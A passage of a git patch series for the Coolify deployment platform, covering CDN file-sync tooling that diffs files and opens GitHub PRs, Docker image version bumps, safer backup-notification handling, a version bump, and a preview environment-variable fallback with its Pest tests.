+ $prCommand = 'gh pr create --repo coollabsio/coolify-cdn --title '.escapeshellarg($prTitle).' --body '.escapeshellarg($prBody).' --base main --head '.escapeshellarg($branchName).' 2>&1';
+ $output = [];
+ exec($prCommand, $output, $returnCode);
+
+ // Clean up
+ exec('rm -rf '.escapeshellarg($tmpDir));
+
+ if ($returnCode !== 0) {
+ $this->error('Failed to create PR: '.implode("\n", $output));
+
+ return false;
+ }
+
+ $this->info('Pull request created successfully!');
+ if (! empty($output)) {
+ $this->info('PR URL: '.implode("\n", $output));
+ }
+ $this->info('Files synced: '.count($copiedFiles));
+
+ return true;
+ } catch (\Throwable $e) {
+ $this->error('Error syncing files to GitHub: '.$e->getMessage());
+
+ return false;
+ }
+ }
+
/**
* Sync versions.json to GitHub repository via PR
*/
@@ -581,11 +737,130 @@ public function handle()
$versions_location = "$parent_dir/other/nightly/$versions";
}
if (! $only_template && ! $only_version && ! $only_github_releases && ! $only_github_versions) {
+ $envLabel = $nightly ? 'NIGHTLY' : 'PRODUCTION';
+ $this->info("About to sync $envLabel files to BunnyCDN and create a GitHub PR for coolify-cdn.");
+ $this->newLine();
+
+ // Build file mapping for diff
if ($nightly) {
- $this->info('About to sync files NIGHTLY (docker-compose.prod.yaml, upgrade.sh, install.sh, etc) to BunnyCDN.');
+ $fileMapping = [
+ $compose_file_location => 'docker/nightly/docker-compose.yml',
+ $compose_file_prod_location => 'docker/nightly/docker-compose.prod.yml',
+ $production_env_location => 'environment/nightly/.env.production',
+ $upgrade_script_location => 'scripts/nightly/upgrade.sh',
+ $install_script_location => 'scripts/nightly/install.sh',
+ ];
} else {
- $this->info('About to sync files PRODUCTION (docker-compose.yml, docker-compose.prod.yml, upgrade.sh, install.sh, etc) to BunnyCDN.');
+ $fileMapping = [
+ $compose_file_location => 'docker/docker-compose.yml',
+ $compose_file_prod_location => 'docker/docker-compose.prod.yml',
+ $production_env_location => 'environment/.env.production',
+ $upgrade_script_location => 'scripts/upgrade.sh',
+ $install_script_location => 'scripts/install.sh',
+ ];
}
+
+ // BunnyCDN file mapping (local file => CDN URL path)
+ $bunnyFileMapping = [
+ $compose_file_location => "$bunny_cdn/$bunny_cdn_path/$compose_file",
+ $compose_file_prod_location => "$bunny_cdn/$bunny_cdn_path/$compose_file_prod",
+ $production_env_location => "$bunny_cdn/$bunny_cdn_path/$production_env",
+ $upgrade_script_location => "$bunny_cdn/$bunny_cdn_path/$upgrade_script",
+ $install_script_location => "$bunny_cdn/$bunny_cdn_path/$install_script",
+ ];
+
+ $diffTmpDir = sys_get_temp_dir().'/coolify-cdn-diff-'.time();
+ @mkdir($diffTmpDir, 0755, true);
+ $hasChanges = false;
+
+ // Diff against BunnyCDN
+ $this->info('Fetching files from BunnyCDN to compare...');
+ foreach ($bunnyFileMapping as $localFile => $cdnUrl) {
+ if (! file_exists($localFile)) {
+ $this->warn('Local file not found: '.$localFile);
+
+ continue;
+ }
+
+ $fileName = basename($cdnUrl);
+ $remoteTmp = "$diffTmpDir/bunny-$fileName";
+
+ try {
+ $response = Http::timeout(10)->get($cdnUrl);
+ if ($response->successful()) {
+ file_put_contents($remoteTmp, $response->body());
+ $diffOutput = [];
+ exec('diff -u '.escapeshellarg($remoteTmp).' '.escapeshellarg($localFile).' 2>&1', $diffOutput, $diffCode);
+ if ($diffCode !== 0) {
+ $hasChanges = true;
+ $this->newLine();
+ $this->info("--- BunnyCDN: $bunny_cdn_path/$fileName");
+ $this->info("+++ Local: $fileName");
+ foreach ($diffOutput as $line) {
+ if (str_starts_with($line, '---') || str_starts_with($line, '+++')) {
+ continue;
+ }
+ $this->line($line);
+ }
+ }
+ } else {
+ $this->info("NEW on BunnyCDN: $bunny_cdn_path/$fileName (HTTP {$response->status()})");
+ $hasChanges = true;
+ }
+ } catch (\Throwable $e) {
+ $this->warn("Could not fetch $cdnUrl: {$e->getMessage()}");
+ }
+ }
+
+ // Diff against GitHub coolify-cdn repo
+ $this->newLine();
+ $this->info('Fetching coolify-cdn repo to compare...');
+ $output = [];
+ exec('gh repo clone coollabsio/coolify-cdn '.escapeshellarg("$diffTmpDir/repo").' -- --depth 1 2>&1', $output, $returnCode);
+
+ if ($returnCode === 0) {
+ foreach ($fileMapping as $localFile => $cdnPath) {
+ $remotePath = "$diffTmpDir/repo/$cdnPath";
+ if (! file_exists($localFile)) {
+ continue;
+ }
+ if (! file_exists($remotePath)) {
+ $this->info("NEW on GitHub: $cdnPath (does not exist in coolify-cdn yet)");
+ $hasChanges = true;
+
+ continue;
+ }
+
+ $diffOutput = [];
+ exec('diff -u '.escapeshellarg($remotePath).' '.escapeshellarg($localFile).' 2>&1', $diffOutput, $diffCode);
+ if ($diffCode !== 0) {
+ $hasChanges = true;
+ $this->newLine();
+ $this->info("--- GitHub: $cdnPath");
+ $this->info("+++ Local: $cdnPath");
+ foreach ($diffOutput as $line) {
+ if (str_starts_with($line, '---') || str_starts_with($line, '+++')) {
+ continue;
+ }
+ $this->line($line);
+ }
+ }
+ }
+ } else {
+ $this->warn('Could not fetch coolify-cdn repo for diff.');
+ }
+
+ exec('rm -rf '.escapeshellarg($diffTmpDir));
+
+ if (! $hasChanges) {
+ $this->newLine();
+ $this->info('No differences found. All files are already up to date.');
+
+ return;
+ }
+
+ $this->newLine();
+
$confirmed = confirm('Are you sure you want to sync?');
if (! $confirmed) {
return;
@@ -692,7 +967,34 @@ public function handle()
$pool->purge("$bunny_cdn/$bunny_cdn_path/$upgrade_script"),
$pool->purge("$bunny_cdn/$bunny_cdn_path/$install_script"),
]);
- $this->info('All files uploaded & purged...');
+ $this->info('All files uploaded & purged to BunnyCDN.');
+ $this->newLine();
+
+ // Sync files to GitHub CDN repository via PR
+ $this->info('Creating GitHub PR for coolify-cdn repository...');
+ if ($nightly) {
+ $files = [
+ $compose_file_location => 'docker/nightly/docker-compose.yml',
+ $compose_file_prod_location => 'docker/nightly/docker-compose.prod.yml',
+ $production_env_location => 'environment/nightly/.env.production',
+ $upgrade_script_location => 'scripts/nightly/upgrade.sh',
+ $install_script_location => 'scripts/nightly/install.sh',
+ ];
+ } else {
+ $files = [
+ $compose_file_location => 'docker/docker-compose.yml',
+ $compose_file_prod_location => 'docker/docker-compose.prod.yml',
+ $production_env_location => 'environment/.env.production',
+ $upgrade_script_location => 'scripts/upgrade.sh',
+ $install_script_location => 'scripts/install.sh',
+ ];
+ }
+
+ $githubSuccess = $this->syncFilesToGitHubRepo($files, $nightly);
+ $this->newLine();
+ $this->info('=== Summary ===');
+ $this->info('BunnyCDN sync: Complete');
+ $this->info('GitHub PR: '.($githubSuccess ? 'Created' : 'Failed'));
} catch (\Throwable $e) {
$this->error('Error: '.$e->getMessage());
}
From b8b49b9f4226add14a1789fe221659d5fc8e8ec2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 07:13:54 +0100
Subject: [PATCH 056/168] chore(docker): update container image versions
- Bump coolify-realtime from 1.0.10 to 1.0.11
- Pin redis to 7-alpine across all compose files
- Remove unnecessary quotes in extra_hosts entries
---
other/nightly/docker-compose.prod.yml | 2 +-
other/nightly/docker-compose.windows.yml | 2 +-
other/nightly/docker-compose.yml | 6 +++---
3 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/other/nightly/docker-compose.prod.yml b/other/nightly/docker-compose.prod.yml
index d42047245..0bd4ae2dd 100644
--- a/other/nightly/docker-compose.prod.yml
+++ b/other/nightly/docker-compose.prod.yml
@@ -60,7 +60,7 @@ services:
retries: 10
timeout: 2s
soketi:
- image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.10'
+ image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.11'
ports:
- "${SOKETI_PORT:-6001}:6001"
- "6002:6002"
diff --git a/other/nightly/docker-compose.windows.yml b/other/nightly/docker-compose.windows.yml
index bf1f94af0..ca233356a 100644
--- a/other/nightly/docker-compose.windows.yml
+++ b/other/nightly/docker-compose.windows.yml
@@ -79,7 +79,7 @@ services:
retries: 10
timeout: 2s
redis:
- image: redis:alpine
+ image: redis:7-alpine
pull_policy: always
container_name: coolify-redis
restart: always
diff --git a/other/nightly/docker-compose.yml b/other/nightly/docker-compose.yml
index 68d0f0744..0fd3dda07 100644
--- a/other/nightly/docker-compose.yml
+++ b/other/nightly/docker-compose.yml
@@ -4,7 +4,7 @@ services:
restart: always
working_dir: /var/www/html
extra_hosts:
- - 'host.docker.internal:host-gateway'
+ - host.docker.internal:host-gateway
networks:
- coolify
depends_on:
@@ -18,7 +18,7 @@ services:
networks:
- coolify
redis:
- image: redis:alpine
+ image: redis:7-alpine
container_name: coolify-redis
restart: always
networks:
@@ -26,7 +26,7 @@ services:
soketi:
container_name: coolify-realtime
extra_hosts:
- - 'host.docker.internal:host-gateway'
+ - host.docker.internal:host-gateway
restart: always
networks:
- coolify
From 14a7f8646cad266d567035a7beb9cf6cfd90d54c Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 12:43:47 +0100
Subject: [PATCH 057/168] fix(backup): prevent notification failures from
affecting backup status
- Wrap notification calls in try-catch blocks to log failures instead
- Prevent failed() method from overwriting successful backup status
- Skip failure notifications if backup already completed successfully
- Ensures post-backup errors (e.g. notification failures) never
retroactively mark successful backups as failed
Fixes #9088
---
app/Jobs/DatabaseBackupJob.php | 61 ++++++++++++++------
tests/Feature/DatabaseBackupJobTest.php | 76 +++++++++++++++++++++++++
2 files changed, 121 insertions(+), 16 deletions(-)
diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php
index b55c324be..041d31bad 100644
--- a/app/Jobs/DatabaseBackupJob.php
+++ b/app/Jobs/DatabaseBackupJob.php
@@ -399,7 +399,15 @@ public function handle(): void
's3_uploaded' => null,
]);
}
- $this->team?->notify(new BackupFailed($this->backup, $this->database, $this->error_output ?? $this->backup_output ?? $e->getMessage(), $database));
+ try {
+ $this->team?->notify(new BackupFailed($this->backup, $this->database, $this->error_output ?? $this->backup_output ?? $e->getMessage(), $database));
+ } catch (\Throwable $notifyException) {
+ Log::channel('scheduled-errors')->warning('Failed to send backup failure notification', [
+ 'backup_id' => $this->backup->uuid,
+ 'database' => $database,
+ 'error' => $notifyException->getMessage(),
+ ]);
+ }
continue;
}
@@ -439,11 +447,20 @@ public function handle(): void
'local_storage_deleted' => $localStorageDeleted,
]);
- // Send appropriate notification
- if ($s3UploadError) {
- $this->team->notify(new BackupSuccessWithS3Warning($this->backup, $this->database, $database, $s3UploadError));
- } else {
- $this->team->notify(new BackupSuccess($this->backup, $this->database, $database));
+ // Send appropriate notification (wrapped in try-catch so notification
+ // failures never affect backup status — see GitHub issue #9088)
+ try {
+ if ($s3UploadError) {
+ $this->team->notify(new BackupSuccessWithS3Warning($this->backup, $this->database, $database, $s3UploadError));
+ } else {
+ $this->team->notify(new BackupSuccess($this->backup, $this->database, $database));
+ }
+ } catch (\Throwable $e) {
+ Log::channel('scheduled-errors')->warning('Failed to send backup success notification', [
+ 'backup_id' => $this->backup->uuid,
+ 'database' => $database,
+ 'error' => $e->getMessage(),
+ ]);
}
}
}
@@ -710,20 +727,32 @@ public function failed(?Throwable $exception): void
$log = ScheduledDatabaseBackupExecution::where('uuid', $this->backup_log_uuid)->first();
if ($log) {
- $log->update([
- 'status' => 'failed',
- 'message' => 'Job permanently failed after '.$this->attempts().' attempts: '.($exception?->getMessage() ?? 'Unknown error'),
- 'size' => 0,
- 'filename' => null,
- 'finished_at' => Carbon::now(),
- ]);
+ // Don't overwrite a successful backup status — a post-backup error
+ // (e.g. notification failure) should not retroactively mark the backup
+ // as failed (see GitHub issue #9088)
+ if ($log->status !== 'success') {
+ $log->update([
+ 'status' => 'failed',
+ 'message' => 'Job permanently failed after '.$this->attempts().' attempts: '.($exception?->getMessage() ?? 'Unknown error'),
+ 'size' => 0,
+ 'filename' => null,
+ 'finished_at' => Carbon::now(),
+ ]);
+ }
}
- // Notify team about permanent failure
- if ($this->team) {
+ // Notify team about permanent failure (only if backup didn't already succeed)
+ if ($this->team && $log?->status !== 'success') {
$databaseName = $log?->database_name ?? 'unknown';
$output = $this->backup_output ?? $exception?->getMessage() ?? 'Unknown error';
- $this->team->notify(new BackupFailed($this->backup, $this->database, $output, $databaseName));
+ try {
+ $this->team->notify(new BackupFailed($this->backup, $this->database, $output, $databaseName));
+ } catch (\Throwable $e) {
+ Log::channel('scheduled-errors')->warning('Failed to send backup permanent failure notification', [
+ 'backup_id' => $this->backup->uuid,
+ 'error' => $e->getMessage(),
+ ]);
+ }
}
}
}
diff --git a/tests/Feature/DatabaseBackupJobTest.php b/tests/Feature/DatabaseBackupJobTest.php
index 37c377dab..05cb21f12 100644
--- a/tests/Feature/DatabaseBackupJobTest.php
+++ b/tests/Feature/DatabaseBackupJobTest.php
@@ -120,6 +120,82 @@
expect($unrelatedBackup->save_s3)->toBeTruthy();
});
+test('failed method does not overwrite successful backup status', function () {
+ $team = Team::factory()->create();
+
+ $backup = ScheduledDatabaseBackup::create([
+ 'frequency' => '0 0 * * *',
+ 'save_s3' => false,
+ 'database_type' => 'App\Models\StandalonePostgresql',
+ 'database_id' => 1,
+ 'team_id' => $team->id,
+ ]);
+
+ $log = ScheduledDatabaseBackupExecution::create([
+ 'uuid' => 'test-uuid-success-guard',
+ 'database_name' => 'test_db',
+ 'filename' => '/backup/test.dmp',
+ 'scheduled_database_backup_id' => $backup->id,
+ 'status' => 'success',
+ 'message' => 'Backup completed successfully',
+ 'size' => 1024,
+ ]);
+
+ $job = new DatabaseBackupJob($backup);
+
+ $reflection = new ReflectionClass($job);
+
+ $teamProp = $reflection->getProperty('team');
+ $teamProp->setValue($job, $team);
+
+ $logUuidProp = $reflection->getProperty('backup_log_uuid');
+ $logUuidProp->setValue($job, 'test-uuid-success-guard');
+
+ // Simulate a post-backup failure (e.g. notification error)
+ $job->failed(new Exception('Request to the Resend API failed'));
+
+ $log->refresh();
+ expect($log->status)->toBe('success');
+ expect($log->message)->toBe('Backup completed successfully');
+ expect($log->size)->toBe(1024);
+});
+
+test('failed method updates status when backup was not successful', function () {
+ $team = Team::factory()->create();
+
+ $backup = ScheduledDatabaseBackup::create([
+ 'frequency' => '0 0 * * *',
+ 'save_s3' => false,
+ 'database_type' => 'App\Models\StandalonePostgresql',
+ 'database_id' => 1,
+ 'team_id' => $team->id,
+ ]);
+
+ $log = ScheduledDatabaseBackupExecution::create([
+ 'uuid' => 'test-uuid-pending-guard',
+ 'database_name' => 'test_db',
+ 'filename' => '/backup/test.dmp',
+ 'scheduled_database_backup_id' => $backup->id,
+ 'status' => 'pending',
+ ]);
+
+ $job = new DatabaseBackupJob($backup);
+
+ $reflection = new ReflectionClass($job);
+
+ $teamProp = $reflection->getProperty('team');
+ $teamProp->setValue($job, $team);
+
+ $logUuidProp = $reflection->getProperty('backup_log_uuid');
+ $logUuidProp->setValue($job, 'test-uuid-pending-guard');
+
+ $job->failed(new Exception('Some real failure'));
+
+ $log->refresh();
+ expect($log->status)->toBe('failed');
+ expect($log->message)->toContain('Some real failure');
+});
+
test('s3 storage has scheduled backups relationship', function () {
$team = Team::factory()->create();
From ca769baf179569e07a241967b6df9a77f2d56ba4 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 13:25:41 +0100
Subject: [PATCH 058/168] chore: bump version to 4.0.0-beta.471
---
config/constants.php | 2 +-
other/nightly/versions.json | 2 +-
versions.json | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/config/constants.php b/config/constants.php
index b0a772541..828493208 100644
--- a/config/constants.php
+++ b/config/constants.php
@@ -2,7 +2,7 @@
return [
'coolify' => [
- 'version' => '4.0.0-beta.470',
+ 'version' => '4.0.0-beta.471',
'helper_version' => '1.0.12',
'realtime_version' => '1.0.11',
'self_hosted' => env('SELF_HOSTED', true),
diff --git a/other/nightly/versions.json b/other/nightly/versions.json
index c2ab7a7c1..af11ef4d3 100644
--- a/other/nightly/versions.json
+++ b/other/nightly/versions.json
@@ -1,7 +1,7 @@
{
"coolify": {
"v4": {
- "version": "4.0.0-beta.470"
+ "version": "4.0.0-beta.471"
},
"nightly": {
"version": "4.0.0"
diff --git a/versions.json b/versions.json
index c2ab7a7c1..af11ef4d3 100644
--- a/versions.json
+++ b/versions.json
@@ -1,7 +1,7 @@
{
"coolify": {
"v4": {
- "version": "4.0.0-beta.470"
+ "version": "4.0.0-beta.471"
},
"nightly": {
"version": "4.0.0"
From 3034e89edb3c01c82468af52ae51c60fdcb23395 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 13:26:50 +0100
Subject: [PATCH 059/168] feat(preview-env): add production variable fallback
for docker-compose
When preview environment variables are configured, fall back to production
variables for keys not overridden by preview values. This ensures variables
like DB_PASSWORD that exist only in production are available in the preview
.env file, enabling proper ${VAR} interpolation in docker-compose YAML.
Fallback only applies when preview variables are configured, preventing
unintended leakage of production values when previews aren't in use.
Also improves UI by hiding the Domains section when only database services
are present, and simplifies the logs view by removing status checks.
---
app/Jobs/ApplicationDeploymentJob.php | 16 ++
app/Models/EnvironmentVariable.php | 5 +
.../components/applications/links.blade.php | 2 +-
.../project/application/general.blade.php | 36 ++-
.../livewire/project/shared/logs.blade.php | 58 ++--
tests/Feature/PreviewEnvVarFallbackTest.php | 247 ++++++++++++++++++
6 files changed, 318 insertions(+), 46 deletions(-)
create mode 100644 tests/Feature/PreviewEnvVarFallbackTest.php
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 9d927d10c..2af380a45 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -1333,6 +1333,22 @@ private function generate_runtime_environment_variables()
foreach ($runtime_environment_variables_preview as $env) {
$envs->push($env->key.'='.$env->real_value);
}
+
+ // Fall back to production env vars for keys not overridden by preview vars,
+ // but only when preview vars are configured. This ensures variables like
+ // DB_PASSWORD that are only set for production will be available in the
+ // preview .env file (fixing ${VAR} interpolation in docker-compose YAML),
+ // while avoiding leaking production values when previews aren't configured.
+ if ($runtime_environment_variables_preview->isNotEmpty()) {
+ $previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray();
+ $fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) {
+ return $env->is_runtime && ! in_array($env->key, $previewKeys);
+ });
+ foreach ($fallback_production_vars as $env) {
+ $envs->push($env->key.'='.$env->real_value);
+ }
+ }
+
// Add PORT if not exists, use the first port as default
if ($this->build_pack !== 'dockercompose') {
if ($this->application->environment_variables_preview->where('key', 'PORT')->isEmpty()) {
diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php
index cf60d5ab5..5acd4c1e4 100644
--- a/app/Models/EnvironmentVariable.php
+++ b/app/Models/EnvironmentVariable.php
@@ -32,6 +32,11 @@
)]
class EnvironmentVariable extends BaseModel
{
+ protected $attributes = [
+ 'is_runtime' => true,
+ 'is_buildtime' => true,
+ ];
+
protected $fillable = [
// Core identification
'key',
diff --git a/resources/views/components/applications/links.blade.php b/resources/views/components/applications/links.blade.php
index 26b1cedf5..85e8f7431 100644
--- a/resources/views/components/applications/links.blade.php
+++ b/resources/views/components/applications/links.blade.php
@@ -4,7 +4,7 @@
@if (
(data_get($application, 'fqdn') ||
- collect(json_decode($this->application->docker_compose_domains))->count() > 0 ||
+ collect(json_decode($this->application->docker_compose_domains))->contains(fn($fqdn) => !empty(data_get($fqdn, 'domain'))) ||
data_get($application, 'previews', collect([]))->count() > 0 ||
data_get($application, 'ports_mappings_array')) &&
data_get($application, 'settings.is_raw_compose_deployment_enabled') !== true)
diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php
index e27eda8b6..d743e346e 100644
--- a/resources/views/livewire/project/application/general.blade.php
+++ b/resources/views/livewire/project/application/general.blade.php
@@ -49,7 +49,13 @@
!is_null($parsedServices) &&
count($parsedServices) > 0 &&
!$application->settings->is_raw_compose_deployment_enabled)
- Domains
+ @php
+ $hasNonDatabaseService = collect(data_get($parsedServices, 'services', []))
+ ->contains(fn($service) => !isDatabaseImage(data_get($service, 'image')));
+ @endphp
+ @if ($hasNonDatabaseService)
+ Domains
+ @endif
@foreach (data_get($parsedServices, 'services') as $serviceName => $service)
@if (!isDatabaseImage(data_get($service, 'image')))
@@ -86,18 +92,20 @@
]" />
@endcan
@endif
-
- @if ($application->could_set_build_commands())
-
- @endif
- @if ($isStatic && $buildPack !== 'static')
-
- @endif
-
+ @if ($application->could_set_build_commands() || ($isStatic && $buildPack !== 'static'))
+
+ @if ($application->could_set_build_commands())
+
+ @endif
+ @if ($isStatic && $buildPack !== 'static')
+
+ @endif
+
+ @endif
@if ($buildPack !== 'dockercompose')
@if ($application->settings->is_container_label_readonly_enabled == false)
@@ -209,7 +217,7 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
@endif
@endif
-
+
Build
@if ($application->build_pack === 'dockerimage')
Logs
- @if (str($status)->contains('exited'))
-
The resource is not running.
- @else
-
- Loading containers...
-
-
- @forelse ($servers as $server)
-
-
Server: {{ $server->name }}
- @if ($server->isFunctional())
- @if (isset($serverContainers[$server->id]) && count($serverContainers[$server->id]) > 0)
- @php
- $totalContainers = collect($serverContainers)->flatten(1)->count();
- @endphp
- @foreach ($serverContainers[$server->id] as $container)
-
- @endforeach
- @else
-
No containers are running on server: {{ $server->name }}
- @endif
+
+ Loading containers...
+
+
+ @forelse ($servers as $server)
+
+
Server: {{ $server->name }}
+ @if ($server->isFunctional())
+ @if (isset($serverContainers[$server->id]) && count($serverContainers[$server->id]) > 0)
+ @php
+ $totalContainers = collect($serverContainers)->flatten(1)->count();
+ @endphp
+ @foreach ($serverContainers[$server->id] as $container)
+
+ @endforeach
@else
-
Server {{ $server->name }} is not functional.
+
No containers are running on server: {{ $server->name }}
@endif
-
- @empty
-
No functional server found for the application.
- @endforelse
-
- @endif
+ @else
+
Server {{ $server->name }} is not functional.
+ @endif
+
+ @empty
+
No functional server found for the application.
+ @endforelse
+
@elseif ($type === 'database')
Logs
diff --git a/tests/Feature/PreviewEnvVarFallbackTest.php b/tests/Feature/PreviewEnvVarFallbackTest.php
new file mode 100644
index 000000000..e3fc3023f
--- /dev/null
+++ b/tests/Feature/PreviewEnvVarFallbackTest.php
@@ -0,0 +1,247 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->user->teams()->attach($this->team);
+
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create([
+ 'project_id' => $this->project->id,
+ ]);
+
+ $this->application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $this->actingAs($this->user);
+});
+
+/**
+ * Simulate the preview .env generation logic from
+ * ApplicationDeploymentJob::generate_runtime_environment_variables()
+ * including the production fallback fix.
+ */
+function simulatePreviewEnvGeneration(Application $application): \Illuminate\Support\Collection
+{
+ $sorted_environment_variables = $application->environment_variables->sortBy('id');
+ $sorted_environment_variables_preview = $application->environment_variables_preview->sortBy('id');
+
+ $envs = collect([]);
+
+ // Preview vars
+ $runtime_environment_variables_preview = $sorted_environment_variables_preview->filter(fn ($env) => $env->is_runtime);
+ foreach ($runtime_environment_variables_preview as $env) {
+ $envs->push($env->key.'='.$env->real_value);
+ }
+
+ // Fallback: production vars not overridden by preview,
+ // only when preview vars are configured
+ if ($runtime_environment_variables_preview->isNotEmpty()) {
+ $previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray();
+ $fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) {
+ return $env->is_runtime && ! in_array($env->key, $previewKeys);
+ });
+ foreach ($fallback_production_vars as $env) {
+ $envs->push($env->key.'='.$env->real_value);
+ }
+ }
+
+ return $envs;
+}
+
+test('production vars fall back when preview vars exist but do not cover all keys', function () {
+ // Create two production vars (booted hook auto-creates preview copies)
+ EnvironmentVariable::create([
+ 'key' => 'DB_PASSWORD',
+ 'value' => 'secret123',
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ EnvironmentVariable::create([
+ 'key' => 'APP_KEY',
+ 'value' => 'app_key_value',
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Delete only the DB_PASSWORD preview copy — APP_KEY preview copy remains
+ $this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->delete();
+ $this->application->refresh();
+
+ // Preview has APP_KEY but not DB_PASSWORD
+ expect($this->application->environment_variables_preview()->where('key', 'APP_KEY')->count())->toBe(1);
+ expect($this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->count())->toBe(0);
+
+ $envs = simulatePreviewEnvGeneration($this->application);
+
+ $envString = $envs->implode("\n");
+ // DB_PASSWORD should fall back from production
+ expect($envString)->toContain('DB_PASSWORD=');
+ // APP_KEY should use the preview value
+ expect($envString)->toContain('APP_KEY=');
+});
+
+test('no fallback when no preview vars are configured at all', function () {
+ // Create a production-only var (booted hook auto-creates preview copy)
+ EnvironmentVariable::create([
+ 'key' => 'DB_PASSWORD',
+ 'value' => 'secret123',
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Delete ALL preview copies — simulates no preview config
+ $this->application->environment_variables_preview()->delete();
+ $this->application->refresh();
+
+ expect($this->application->environment_variables_preview()->count())->toBe(0);
+
+ $envs = simulatePreviewEnvGeneration($this->application);
+
+ $envString = $envs->implode("\n");
+ // Should NOT fall back to production when no preview vars exist
+ expect($envString)->not->toContain('DB_PASSWORD=');
+});
+
+test('preview var overrides production var when both exist', function () {
+ // Create production var (auto-creates preview copy)
+ EnvironmentVariable::create([
+ 'key' => 'DB_PASSWORD',
+ 'value' => 'prod_password',
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Update the auto-created preview copy with a different value
+ $this->application->environment_variables_preview()
+ ->where('key', 'DB_PASSWORD')
+ ->update(['value' => encrypt('preview_password')]);
+
+ $this->application->refresh();
+ $envs = simulatePreviewEnvGeneration($this->application);
+
+ // Should contain preview value only, not production
+ $envEntries = $envs->filter(fn ($e) => str_starts_with($e, 'DB_PASSWORD='));
+ expect($envEntries)->toHaveCount(1);
+ expect($envEntries->first())->toContain('preview_password');
+});
+
+test('preview-only var works without production counterpart', function () {
+ // Create a preview-only var directly (no production counterpart)
+ EnvironmentVariable::create([
+ 'key' => 'PREVIEW_ONLY_VAR',
+ 'value' => 'preview_value',
+ 'is_preview' => true,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $this->application->refresh();
+ $envs = simulatePreviewEnvGeneration($this->application);
+
+ $envString = $envs->implode("\n");
+ expect($envString)->toContain('PREVIEW_ONLY_VAR=');
+});
+
+test('buildtime-only production vars are not included in preview fallback', function () {
+ // Create a runtime preview var so fallback is active
+ EnvironmentVariable::create([
+ 'key' => 'SOME_PREVIEW_VAR',
+ 'value' => 'preview_value',
+ 'is_preview' => true,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Create a buildtime-only production var
+ EnvironmentVariable::create([
+ 'key' => 'BUILD_SECRET',
+ 'value' => 'build_only',
+ 'is_preview' => false,
+ 'is_runtime' => false,
+ 'is_buildtime' => true,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Delete the auto-created preview copy of BUILD_SECRET
+ $this->application->environment_variables_preview()->where('key', 'BUILD_SECRET')->delete();
+ $this->application->refresh();
+
+ $envs = simulatePreviewEnvGeneration($this->application);
+
+ $envString = $envs->implode("\n");
+ expect($envString)->not->toContain('BUILD_SECRET');
+ expect($envString)->toContain('SOME_PREVIEW_VAR=');
+});
+
+test('preview env var inherits is_runtime and is_buildtime from production var', function () {
+ // Create production var WITH explicit flags
+ EnvironmentVariable::create([
+ 'key' => 'DB_PASSWORD',
+ 'value' => 'secret123',
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => true,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $preview = EnvironmentVariable::where('key', 'DB_PASSWORD')
+ ->where('is_preview', true)
+ ->where('resourceable_id', $this->application->id)
+ ->first();
+
+ expect($preview)->not->toBeNull();
+ expect($preview->is_runtime)->toBeTrue();
+ expect($preview->is_buildtime)->toBeTrue();
+});
+
+test('preview env var gets correct defaults when production var created without explicit flags', function () {
+ // Simulate code paths (docker-compose parser, dev view bulk submit) that create
+ // env vars without explicitly setting is_runtime/is_buildtime
+ EnvironmentVariable::create([
+ 'key' => 'DB_PASSWORD',
+ 'value' => 'secret123',
+ 'is_preview' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $preview = EnvironmentVariable::where('key', 'DB_PASSWORD')
+ ->where('is_preview', true)
+ ->where('resourceable_id', $this->application->id)
